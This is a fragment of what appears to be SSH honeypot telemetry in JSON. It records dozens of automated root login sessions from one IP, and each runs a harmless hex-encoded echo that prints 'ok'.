  "started_at": "2026-08-23T09:06:00.452448+00:00",
  "ended_at": "2026-08-23T09:06:02.152391+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67f0c9df-4c22-4160-ac90-7d34453c698c",
  "name": "sincere-gritty-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45346,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:58.156579+00:00",
  "ended_at": "2026-08-23T09:05:59.740279+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b7f65ee8-67df-4349-b5e5-3e389401e042",
  "name": "fierce-courtly-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45332,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:56.045455+00:00",
  "ended_at": "2026-08-23T09:05:57.505134+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "84bd9b0b-1e9e-4217-aedf-bb03d25a3350",
  "name": "coral-nimble-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:53.585673+00:00",
  "ended_at": "2026-08-23T09:05:55.219345+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "934f36c4-c9aa-4fad-a825-9b29bfc5b4e8",
  "name": "gallant-flinty-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:51.764760+00:00",
  "ended_at": "2026-08-23T09:05:52.891073+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "53150905-e50b-4484-92e6-f56e76fcf512",
  "name": "merry-quartz-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:48.945439+00:00",
  "ended_at": "2026-08-23T09:05:50.919934+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "266bf514-5771-4682-9c6e-951216c04201",
  "name": "reedy-stormy-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:47.183478+00:00",
  "ended_at": "2026-08-23T09:05:48.099319+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "46c0e6e9-b2be-440b-ae3a-890164954ed1",
  "name": "plush-distant-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50442,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:44.170506+00:00",
  "ended_at": "2026-08-23T09:05:46.428150+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b1eb0a26-31c9-4f17-ab4b-c28146cd9dd3",
  "name": "ashen-boreal-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:42.399624+00:00",
  "ended_at": "2026-08-23T09:05:43.387149+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca71ecf6-c427-4a47-a258-4577ecffaa7e",
  "name": "mossy-tangled-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50426,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:40.845772+00:00",
  "ended_at": "2026-08-23T09:05:41.748214+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a71764dd-2c43-421c-a554-564fd757efbd",
  "name": "craggy-woven-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:37.953614+00:00",
  "ended_at": "2026-08-23T09:05:40.090409+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "631243b8-ba54-409a-8490-5314e2d99fcc",
  "name": "sunlit-graceful-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54666,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:35.337003+00:00",
  "ended_at": "2026-08-23T09:05:37.156489+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "61d7fd77-b986-4dac-98f6-6749ef9b5519",
  "name": "dewy-lofty-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:32.888732+00:00",
  "ended_at": "2026-08-23T09:05:34.677435+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c22de068-ddac-490d-b78e-80ffc426c3db",
  "name": "creaky-frank-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:30.790904+00:00",
  "ended_at": "2026-08-23T09:05:32.119857+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9efd3c1b-e23b-4085-b394-49896272bac0",
  "name": "velvet-oaken-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:28.612661+00:00",
  "ended_at": "2026-08-23T09:05:29.975151+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6601a9c9-a9a9-4d9d-84e8-bc0f8031387d",
  "name": "burly-hidden-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:25.549842+00:00",
  "ended_at": "2026-08-23T09:05:27.814829+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7ec7bd03-531f-4d89-88e0-0911f29b2e6c",
  "name": "shifting-plush-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:23.744416+00:00",
  "ended_at": "2026-08-23T09:05:24.935303+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ef0ef96a-f36c-4381-97af-523c41c1a43c",
  "name": "oaken-cosmic-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47690,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:22.130561+00:00",
  "ended_at": "2026-08-23T09:05:23.026080+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9787deb-9648-4442-9ca9-b9c31a29c21b",
  "name": "crimson-seaward-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:20.285783+00:00",
  "ended_at": "2026-08-23T09:05:21.446294+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ccaa9417-89dc-490f-b133-1901aad0ac35",
  "name": "fringed-ashen-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51948,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:17.308227+00:00",
  "ended_at": "2026-08-23T09:05:19.452373+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "25512c7e-4bb4-43ee-9d8b-52275bb89fdf",
  "name": "glassy-bitter-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:14.617879+00:00",
  "ended_at": "2026-08-23T09:05:16.474662+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b22b1c4f-fb83-47be-b6cf-bba263b4e9f5",
  "name": "lofty-hushed-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:12.433900+00:00",
  "ended_at": "2026-08-23T09:05:13.876604+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e97463c-ad81-4bdf-9d95-ebe2e571cd68",
  "name": "fierce-placid-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:09.939660+00:00",
  "ended_at": "2026-08-23T09:05:11.743286+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4cc32b8a-6cbb-4bf9-b762-91f488558d10",
  "name": "honest-breezy-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:07.389778+00:00",
  "ended_at": "2026-08-23T09:05:09.145425+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9acb3d9b-bc71-4dbf-b12e-4484d488949d",
  "name": "feral-jolly-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50746,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:04.530661+00:00",
  "ended_at": "2026-08-23T09:05:06.690454+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0d539f74-6db8-48eb-8334-57f2584054ea",
  "name": "fearless-verdant-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:02.757030+00:00",
  "ended_at": "2026-08-23T09:05:03.772267+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "030234cf-1f92-4725-b903-f3977bc916d9",
  "name": "wooded-gloomy-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:05:00.393888+00:00",
  "ended_at": "2026-08-23T09:05:02.022272+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b0c470da-bdc2-4430-886e-280da7995544",
  "name": "hushed-sturdy-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:57.911445+00:00",
  "ended_at": "2026-08-23T09:04:59.653645+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb85f45a-d5dd-4910-8d2e-1b75e5c42312",
  "name": "hidden-solemn-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:55.980612+00:00",
  "ended_at": "2026-08-23T09:04:57.243658+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6996a6c6-5adc-443e-8a42-964159ccfc42",
  "name": "verdant-solar-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:54.262834+00:00",
  "ended_at": "2026-08-23T09:04:55.163847+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2ad16fc-3dc9-426b-b615-13aa41b13546",
  "name": "sandy-flinty-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:52.049095+00:00",
  "ended_at": "2026-08-23T09:04:53.507378+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67c51aec-fd4e-4c93-a91d-fd47b21058f0",
  "name": "nimble-alpine-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35602,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:49.904310+00:00",
  "ended_at": "2026-08-23T09:04:51.398894+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "19100f84-8692-483e-8082-6e933a4ad19c",
  "name": "vigilant-mossy-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:46.961937+00:00",
  "ended_at": "2026-08-23T09:04:49.196185+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "17c061f5-8cf8-46d1-83f1-000443815ee3",
  "name": "coastal-mindful-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:44.273534+00:00",
  "ended_at": "2026-08-23T09:04:46.234270+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f952c68-1074-4005-8548-0aab3c840f83",
  "name": "dusky-whispering-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:41.390948+00:00",
  "ended_at": "2026-08-23T09:04:43.618586+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ce624010-9d52-48be-982a-08a02fa74a3b",
  "name": "pewter-forlorn-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:39.699633+00:00",
  "ended_at": "2026-08-23T09:04:40.584451+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "745af010-2d00-427b-a208-eb62911a8297",
  "name": "mottled-mighty-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:37.799393+00:00",
  "ended_at": "2026-08-23T09:04:38.948800+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "08a87a5b-0ae8-4aea-83b1-fdc91751a9d8",
  "name": "gritty-pewter-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:35.928454+00:00",
  "ended_at": "2026-08-23T09:04:37.124808+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28022a4a-e2b1-4033-bdf7-705895e6d52c",
  "name": "foggy-valiant-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45456,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:34.266645+00:00",
  "ended_at": "2026-08-23T09:04:35.175659+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f3a3f6f1-22e5-4c79-a7ae-f58d39dcfe54",
  "name": "gritty-orderly-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:31.246483+00:00",
  "ended_at": "2026-08-23T09:04:33.510367+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "af9b2c07-5f41-4f47-a269-69d2f0bdfc73",
  "name": "plush-flinty-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:29.064007+00:00",
  "ended_at": "2026-08-23T09:04:30.549399+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "096de63b-5b61-4901-9c5d-bb90a3af5a9f",
  "name": "proud-verdant-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:26.941476+00:00",
  "ended_at": "2026-08-23T09:04:28.253631+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c7bbab53-cd4c-4ae7-8d3e-a454656557fc",
  "name": "dutiful-fringed-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:24.254897+00:00",
  "ended_at": "2026-08-23T09:04:26.248288+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3bec91e6-815d-4839-8c06-f4dbd6f167c1",
  "name": "prickly-craggy-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:22.328115+00:00",
  "ended_at": "2026-08-23T09:04:23.516179+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eab0d4e5-33b3-4deb-b4d6-6c8e031e9f71",
  "name": "patient-idle-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:19.729705+00:00",
  "ended_at": "2026-08-23T09:04:21.557386+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f8838d0f-7b27-4983-855d-644150119482",
  "name": "prickly-forlorn-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:16.751762+00:00",
  "ended_at": "2026-08-23T09:04:18.997916+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "abb2e1bc-7a5f-41f9-a0b9-f93cc60b092d",
  "name": "glassy-chilly-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:10.761085+00:00",
  "ended_at": "2026-08-23T09:04:16.111869+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8efd8532-c732-4751-8b2b-a04bc2060946",
  "name": "stormy-cheerful-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:08.502895+00:00",
  "ended_at": "2026-08-23T09:04:10.105930+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5a116928-942e-463a-b161-1dd73135112a",
  "name": "brisk-breezy-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:05.521452+00:00",
  "ended_at": "2026-08-23T09:04:07.681672+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8473c75a-d44a-4815-89ed-992398e30647",
  "name": "curious-woven-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53284,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:04:02.501127+00:00",
  "ended_at": "2026-08-23T09:04:04.760286+00:00",
